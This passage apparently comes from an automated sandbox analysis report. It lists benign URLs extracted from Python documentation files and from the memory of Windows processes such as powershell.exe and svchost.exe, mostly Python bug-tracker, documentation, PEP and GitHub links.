Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35537
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35582
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35606
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35664
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35702
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35713
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35766
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35810
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35813
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35864
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35892
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35900
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=35904
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36004
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36012
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36016
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36018
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36020
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36027
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36048
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36084
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36085
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36127
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36264
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36268
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36297
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36320
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36326
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36346
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36348
Source: 3.10.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36465
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36475
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36492
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36540
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36546
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36588
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36669
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36673
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36676
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36707
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36721
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36722
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36763
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36772
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36785
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36793
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36817
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36829
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36887
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36895
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36917
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36921
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36933
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36952
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36974
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36982
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=36999
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37007
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37028
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37032
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37128
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37178
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37221
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37319
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37324
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37412
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37481
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37627
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37765
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37819
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37834
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37892
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37903
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37951
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37966
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=37999
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38144
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38200
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38234
Source: 3.10.html.21.dr, typing.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38291
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38302
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38307
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38490
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38530
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38731
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38820
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38908
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38944
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=38980
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=39273
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=39337
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=39385
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=39573
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=39906
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=39950
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40066
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40176
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40334
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40468
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40645
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40744
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40792
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40810
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40839
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40849
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40890
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=40943
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41001
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41006
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41064
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41073
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41103
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41123
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41139
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41229
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41332
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41334
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41428
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41440
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41486
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41543
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41559
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41625
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41692
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41713
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41718
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41756
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41784
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41792
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41810
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41816
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41832
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41834
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41842
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41870
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41873
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41922
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41923
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41936
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41972
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=41974
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42093
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42131
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42133
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42134
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42135
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42136
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42137
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42157
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42195
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42202
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42251
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42260
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42262
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42264
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42269
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42299
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42308
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42333
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42345
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42392
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42393
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42413
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42423
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42599
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42603
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42639
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42725
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42737
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42802
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42856
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42864
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42914
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42927
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42955
Source: 3.10.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42967
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42990
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=42997
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43008
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43017
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43080
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43103
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43106
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43149
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43244
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43277
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43287
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43356
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43439
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43452
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43466
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43475
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43532
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4356
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43571
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43575
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43669
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43672
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43682
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43688
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43712
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43720
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43753
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43757
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43760
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43762
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43766
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43783
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43785
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43788
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43789
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43791
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43794
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43795
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43797
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43799
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43811
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43817
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43822
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43823
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43833
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43868
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43880
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43901
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43908
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43914
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43916
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43920
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=43998
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=44010
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=44077
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=44305
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=44466
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=44490
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=44584
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=45000
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=45447
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=4603
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5680
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=5758
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=6584
Source: 3.8.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9372
Source: 3.10.html.21.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=9694
Source: powershell.exe, 0000000A.00000002.1950620641.0000025423D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.1950620641.0000025423D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.1950620641.0000025423D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 3.10.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10735
Source: 3.10.html.21.dr, 3.8.html.21.dr	String found in binary or memory: https://datatracker.ietf.org/doc/html/rfc3986.html
Source: 3.10.html.21.dr	String found in binary or memory: https://developers.redhat.com/blog/2020/06/25/red-hat-enterprise-linux-8-2-brings-faster-python-3-8-
Source: 3.8.html.21.dr	String found in binary or memory: https://devguide.python.org/development-tools/clinic/
Source: 3.10.html.21.dr, 3.0.html.21.dr, newtypes.html.21.dr, compound_stmts.html.21.dr, 3.8.html.21.dr, asyncio-platforms.html.21.dr, 3.2.html.21.dr, trace.html.21.dr, gcsupport.html.21.dr, weakref.html.21.dr, extending.html0.21.dr, zipapp.html.21.dr, venv.html0.21.dr, classes.html.21.dr, asyncio-sync.html.21.dr, sorting.html.21.dr, uu.html.21.dr, newtypes_tutorial.html.21.dr, cell.html.21.dr, asyncio-queue.html.21.dr, exceptions.html.21.dr	String found in binary or memory: https://docs.python.org/3/_static/og-image.png
Source: newtypes.html.21.dr	String found in binary or memory: https://docs.python.org/3/extending/newtypes.html
Source: genindex-X.html.21.dr	String found in binary or memory: https://docs.python.org/3/genindex-X.html
Source: _bootstrap.py.21.dr	String found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.load_module
Source: compound_stmts.html.21.dr	String found in binary or memory: https://docs.python.org/3/reference/compound_stmts.html
Source: 3.0.html.21.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.0.html
Source: 3.10.html.21.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.10.html
Source: 3.8.html.21.dr	String found in binary or memory: https://docs.python.org/3/whatsnew/3.8.html
Source: svchost.exe, 0000000C.00000003.1344957025.0000022657A59000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000C.00000003.1344957025.0000022657A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: constants.py.21.dr	String found in binary or memory: https://github.com/MagicStack/uvloop/tree/v0.16.0
Source: powershell.exe, 0000000A.00000002.1913429484.0000025413DD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: _bootstrap.py.21.dr	String found in binary or memory: https://github.com/encode/django-rest-framework/issues/7078
Source: wheel.py1.21.dr	String found in binary or memory: https://github.com/pypa/pip/issues/1800
Source: wheel.py1.21.dr	String found in binary or memory: https://github.com/pypa/pip/issues/5868
Source: newtypes.html.21.dr	String found in binary or memory: https://github.com/python/cpython
Source: newtypes.html.21.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/extending/newtypes.rst
Source: compound_stmts.html.21.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/reference/compound_stmts.rst
Source: 3.0.html.21.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.0.rst
Source: 3.10.html.21.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.10.rst
Source: 3.8.html.21.dr	String found in binary or memory: https://github.com/python/cpython/blob/main/Doc/whatsnew/3.8.rst
Source: 3.10.html.21.dr	String found in binary or memory: https://github.com/python/cpython/issues/87889
Source: 3.10.html.21.dr	String found in binary or memory: https://github.com/python/cpython/issues/88048
Source: 3.10.html.21.dr	String found in binary or memory: https://github.com/python/cpython/issues/95191
Source: 3.10.html.21.dr	String found in binary or memory: https://github.com/python/cpython/issues/98966
Source: 3.10.html.21.dr	String found in binary or memory: https://importlib-metadata.readthedocs.io/en/latest/history.html
Source: powershell.exe, 0000000A.00000002.1950620641.0000025423C25000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.1950620641.0000025423D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: wheel.py1.21.dr	String found in binary or memory: https://packaging.python.org/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0004/
Source: 3.0.html.21.dr, sorting.html.21.dr, expressions.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0008/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0011/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0237/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0238/
Source: 3.0.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0274/
Source: compound_stmts.html.21.dr	String found in binary or memory: https://peps.python.org/pep-0318/
